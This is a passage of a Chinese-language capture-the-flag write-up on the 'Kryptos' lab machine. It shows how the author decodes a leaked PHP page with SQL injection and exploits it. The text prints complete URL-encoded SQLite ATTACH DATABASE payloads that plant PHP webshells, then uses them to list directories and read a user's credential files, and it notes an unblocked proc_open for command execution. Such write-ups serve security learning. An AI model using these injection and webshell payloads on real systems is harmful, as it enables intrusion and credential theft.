KQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9CiAgICRkYi0+Y2xvc2UoKTsKfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo=</body>
</html>

base64解码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ echo PGh0bWw+CjxoZWFkPjwvaGVhZD4KPGJvZHk+Cjw/cGhwCiRub19yZXN1bHRzID0gJF9HRVRbJ25vX3Jlc3VsdHMnXTsKJGJvb2tpZCA9ICRfR0VUWydib29raWQnXTsKJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYm9va3MgV0hFUkUgaWQ9Ii4kYm9va2lkOwppZiAoaXNzZXQoJGJvb2tpZCkpIHsKICAgY2xhc3MgTXlEQiBleHRlbmRzIFNRTGl0ZTMKICAgewogICAgICBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpCiAgICAgIHsKCSAvLyBUaGlzIGZvbGRlciBpcyB3b3JsZCB3cml0YWJsZSAtIHRvIGJlIGFibGUgdG8gY3JlYXRlL21vZGlmeSBkYXRhYmFzZXMgZnJvbSBQSFAgY29kZQogICAgICAgICAkdGhpcy0+b3BlbignZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvYm9va3MuZGInKTsKICAgICAgfQogICB9CiAgICRkYiA9IG5ldyBNeURCKCk7CiAgIGlmKCEkZGIpewogICAgICBlY2hvICRkYi0+bGFzdEVycm9yTXNnKCk7CiAgIH0gZWxzZSB7CiAgICAgIGVjaG8gIk9wZW5lZCBkYXRhYmFzZSBzdWNjZXNzZnVsbHlcbiI7CiAgIH0KICAgZWNobyAiUXVlcnkgOiAiLiRxdWVyeS4iXG4iOwoKaWYgKGlzc2V0KCRub19yZXN1bHRzKSkgewogICAkcmV0ID0gJGRiLT5leGVjKCRxdWVyeSk7CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9Cn0KZWxzZQp7CiAgICRyZXQgPSAkZGItPnF1ZXJ5KCRxdWVyeSk7CiAgIHdoaWxlKCRyb3cgPSAkcmV0LT5mZXRjaEFycmF5KFNRTElURTNfQVNTT0MpICl7CiAgICAgIGVjaG8gIk5hbWUgPSAiLiAkcm93WyduYW1lJ10gLiAiXG4iOwogICB9CiAgIGlmKCRyZXQ9PUZBTFNFKQogICAgewoJZWNobyAiRXJyb3IgOiAiLiRkYi0+bGFzdEVycm9yTXNnKCk7CiAgICB9CiAgICRkYi0+Y2xvc2UoKTsKfQp9Cj8+CjwvYm9keT4KPC9odG1sPgo= | base64 -d
<html>
<head></head>
<body>
<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
class MyDB extends SQLite3
{
function __construct()
{
// This folder is world writable - to be able to create/modify databases from PHP code
$this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
}
}
$db = new MyDB();
if(!$db){
echo $db->lastErrorMsg();
} else {
echo "Opened database successfully\n";
}
echo "Query : ".$query."\n";

if (isset($no_results)) {
$ret = $db->exec($query);
if($ret==FALSE)
{
echo "Error : ".$db->lastErrorMsg();
}
}
else
{
$ret = $db->query($query);
while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
echo "Name = ". $row['name'] . "\n";
}
if($ret==FALSE)
{
echo "Error : ".$db->lastErrorMsg();
}
$db->close();
}
}
?>
</body>
</html>

我们可以得到一些信息:

  1. 用户可控的参数有两个:
1
2
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];

其中参数$bookid会被拼接到参数$query中,$query参数会根据参数$no_results的值被传到$db->exec或是$db->query函数执行,如果$no_results不为空则执行前者,反之则执行后者。

  1. 目录d9e28afcf0b274a5e0542abb67db0784/books.dbworld writable的,如果想上传shell,这是很好的目标。

先看一下sqlite3的exec函数SQLite3::exec

33

该函数能够对指定的database执行无结果查询。相比于$db->query$db->qeury更常用于SELECT语句,而$db->exec更常用于CREATE,DELETE,DROP,INSERT和UPDATE等操作。

而且搜索sqlite3注入的payload,发现了Attach Database的注入方式:

34

对应的注入语句为:

1
2
3
ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil;
CREATE TABLE evil.pwn2 (dataz text);
INSERT INTO evil.pwn2 (dataz) VALUES ('<?php phpinfo();?>');

因此我们可以通过$db->exec函数来执行构造的sql语句。

构造的链接为:

1
http://127.0.0.1/dev/sqlite_test_page.php?no_results=1111&bookid=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil; CREATE TABLE evil.pwn1 (dataz text); INSERT INTO evil.pwn1 (dataz) VALUES ('<?php phpinfo();?>');

再进行url编码后得到:

1
http://127.0.0.1/dev/sqlite_test_page.php?no_results=1111&bookid=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3b+CREATE+TABLE+evil.pwn1+(dataz+text)%3b+INSERT+INTO+evil.pwn1+(dataz)+VALUES+(%27%3c%3fphp+phpinfo()%3b%3f%3e%27)%3b

然后再次通过rc4加密方式简介访问该链接:

1
2
3
4
5
6
7
8
9
10
11
12
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php\?no_results\=1111\&bookid\=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3b+CREATE+TABLE+evil.pwn1+\(dataz+text\)%3b+INSERT+INTO+evil.pwn1+\(dataz\)+VALUES+\(%27%3c%3fphp+phpinfo\(\)%3b%3f%3e%27\)%3b admin admin 10.10.14.33
[*] Your token is c74c2891ff701de5cdd4d0731c4dc530cabdd8befe1b9e9e430e88f1946a744d
[*] Login success, the cookies is nhvjr1q51cbugevg3go1t9hd56
[*] Get the source file......
<html>
<head></head>
<body>
Opened database successfully
Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil; CREATE TABLE evil.pwn1 (dataz text); INSERT INTO evil.pwn1 (dataz) VALUES ('<?php phpinfo();?>');
</body>
</html>

生成的evil.php应该放在dev/d9e28afcf0b274a5e0542abb67db0784/目录下,但是直接访问http://10.10.10.129/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php 显然不行,因为dev/目录不是公开的:

35

所以,还是只能通过rc4解密获取phpinfo页面,将页面保存到phpinfo.html中:

1
2
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php admin admin 10.10.14.33 > phpinfo.html

打开phpinfo.html查看被禁用的函数:

36

1
system,dl,passthru,exec,shell_exec,popen,escapeshellcmd,escapeshellarg,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,

一些常用的系统命令执行函数都被禁止了:

1
2
3
4
5
system
passthru
exec
shell_exec
popen

但是函数proc_open并没有在黑名单中,所以一种方式是,我们可以利用该函数来执行系统命令;另一个是,其他函数如路径遍历函数,文件读取函数都没有被禁掉,而且open_basedir并没有限制:

37

任意文件读取

尝试第二种方式,任意文件读取。通过同样的方式上传shell:

1
2
3
ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil;
CREATE TABLE evil.attack (dataz text);
INSERT INTO evil.attack (dataz) VALUES ('<?php print_r(scandir($_GET["dir"])); print_r(file_get_contents($_GET["file"]));?>');

payload为:

1
python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php?no_results=1111&bookid=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3bCREATE+TABLE+evil.attack2+(dataz+text)%3bINSERT+INTO+evil.attack2+(dataz)+VALUES+(%27%3c%3fphp+print_r(scandir(%24_GET%5b%22dir%22%5d))%3b+print_r(file_get_contents(%24_GET%5b%22file%22%5d))%3b%3f%3e%27)%3b admin admin 10.10.14.33

执行:

1
2
3
4
5
6
7
8
9
10
11
12
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/sqlite_test_page.php\?no_results\=1111\&bookid\=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3bCREATE+TABLE+evil.attack2+\(dataz+text\)%3bINSERT+INTO+evil.attack2+\(dataz\)+VALUES+\(%27%3c%3fphp+print_r\(scandir\(%24_GET%5b%22dir%22%5d\)\)%3b+print_r\(file_get_contents\(%24_GET%5b%22file%22%5d\)\)%3b%3f%3e%27\)%3b admin admin 10.10.14.33
[*] Your token is 80049ea49df4f27b4dbee72c9f95f0d6f0c764e00adba83ddd67e4bd40605129
[*] Login success, the cookies is n1b610f89l9egi0sjf50j8rhov
[*] Get the source file......
<html>
<head></head>
<body>
Opened database successfully
Query : SELECT * FROM books WHERE id=1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil;CREATE TABLE evil.attack2 (dataz text);INSERT INTO evil.attack2 (dataz) VALUES ('<?php print_r(scandir($_GET["dir"])); print_r(file_get_contents($_GET["file"]));?>');
</body>
</html>

上传后尝试读取当前目录:

1
2
3
4
5
6
7
8
9
10
11
12
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?dir\=./ admin admin 10.10.14.33
[*] Your token is 7b6bae368b9beb9ca8c2ad044025a23ac3ba9c1731398db01fedd3e75a87509f
[*] Login success, the cookies is 8u40s4ci3kaf4n2cruc6iacnfk
[*] Get the source file......
��U�1Arraytack2attack2CREATE TABLE attack2 (dataz text)
(
[0] => .
[1] => ..
[2] => books.db
[3] => evil.php
)

读取user.txt

成功读取之后,查看/home目录:

1
2
3
4
5
6
7
8
9
10
11
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?dir\=/home admin admin 10.10.14.33
[*] Your token is ecb9a4db1d9c7bbee73b4e35ed0de8b31ccdf9c9b6b778d83d87f330f5e46e39
[*] Login success, the cookies is ut0hq6amahgl185m3puovd7pu1
[*] Get the source file......
��U�1Arraytack2attack2CREATE TABLE attack2 (dataz text)
(
[0] => .
[1] => ..
[2] => rijndael
)

发现用户rijndael,继续读取该目录下文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?dir\=/home/rijndael admin admin 10.10.14.33
[*] Your token is 0d7131e440dbb723595da833c7fed81566cdbd426afad3ca3a4b632dd08db629
[*] Login success, the cookies is k8cit5flr6mu6pci2feo715shh
[*] Get the source file......
��U�1Arraytack2attack2CREATE TABLE attack2 (dataz text)
(
[0] => .
[1] => ..
[2] => .bash_history
[3] => .bash_logout
[4] => .bashrc
[5] => .cache
[6] => .gnupg
[7] => .profile
[8] => .ssh
[9] => creds.old
[10] => creds.txt
[11] => kryptos
[12] => user.txt
)

读取该目录下的user.txt

1
2
3
4
5
6
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/user.txt admin admin 10.10.14.33
[*] Your token is af1b8af26780b8c8b32a0a92d6a9df917d9d45efad52a4582559d82c56cafe4c
[*] Login success, the cookies is brpe5h8dkg0144gu8pbeqjgog3
[*] Get the source file......
��U�1

返回的是乱码��U�1…… 这个乱码是一直存在 的,不知道是我脚本的问题还是什么原因,所以user.txt读取失败。

继续看,在/home/rijndael目录下,还存在其他的文件(或文件夹):

1
2
3
[8] => .ssh
[9] => creds.old
[10] => creds.txt

读取creds.txt

1
2
3
4
5
6
7
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.txt admin admin 10.10.14.33
[*] Your token is 6fa1fbe5878fb2abdf762477457a1534e514d323a7cf3365edd313315f29c8d2
[*] Login success, the cookies is lph517q3oil6c1o12cqgtftht8
[*] Get the source file......
��U�1VimCrypt~02!tack2CREATE TABLE attack2 (dataz text)
vnd]KyYC}56gMRAn

读取creds.old

1
2
3
4
5
6
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.old admin admin 10.10.14.33
[*] Your token is 8bf4be518afffac25223c95d820120f4c5c48d78be90ee6ac8993fd81050041c
[*] Login success, the cookies is ee89he50mg3es79ab5fsa53400
[*] Get the source file......
��U�1rijndael / Password1ATE TABLE attack2 (dataz text)

38

得到rijndael / Password1,用该账号密码登录ssh失败,看来也不是密码,可能是旧密码,所以名字为creds.old,那么新密码可能就存在creds.txt中。

为了更清晰地读取文件,稍微修改下ATTACH DATABASE语句:

1
2
3
1;ATTACH DATABASE 'd9e28afcf0b274a5e0542abb67db0784/evil.php' as evil;
CREATE TABLE evil.attack (dataz text);
INSERT INTO evil.attack (dataz) VALUES ('<?php echo "\n\n\n\n\n"; echo base64_encode(file_get_contents("$_GET[file]")); echo "\n\n\n\n\n" ?>');

对应的payload为:

1
http://127.0.0.1/dev/sqlite_test_page.php?no_results=1111&bookid=1%3bATTACH+DATABASE+%27d9e28afcf0b274a5e0542abb67db0784%2fevil.php%27+as+evil%3bCREATE+TABLE+evil.attack+(dataz+text)%3bINSERT+INTO+evil.attack+(dataz)+VALUES+(%27%3c%3fphp+echo+%22%5cn%5cn%5cn%5cn%5cn%22%3b+echo+base64_encode(file_get_contents(%22%24_GET%5bfile%5d%22))%3b+echo+%22%5cn%5cn%5cn%5cn%5cn%22+%3f%3e%27)%3b

得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╭─kali@kali ~/Kryptos/rc4_decryptor 
╰─$ python3 rc4_decryptor.py http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php\?file\=/home/rijndael/creds.txt admin admin 10.10.14.33
[*] Your token is 4dbcc65931d5c7ad4f97efb713d92631f41b75239a5a93fe1493aea213d55f3d
[*] Login success, the cookies is dh7322cq7l5s8eng32gaoamc9e
[*] Get the source file......
��f�SableattackattackCREATE TABLE attack (dataz text)




VmltQ3J5cHR+MDIhCxjkNctWEpo1RIBAcDuWLZMNqBB2bmRdwUviHHlZQ33ZNfs2Z01SQYtu




╭─kali@kali ~/Kryptos/rc4_decryptor
╰─$

39

原来是经过vim加密的文件,估计涉及到一些crypto领域的知识了,这又再次和靶机的名称Kryptos相呼应了。但作为一只web狗,做到这里也觉得差不多了,所以后面的部分以后有机会再做了。

后记

这个靶机最后也没有完成,但是我觉得其中涉及到的web部分的知识都挺有意思的,尤其是通过pdo中的dsn注入,改变ip地址(或是端口)让目标服务器上的应用程序连接我们本地的mysql服务器来绕过登录限制,学到了新的姿势。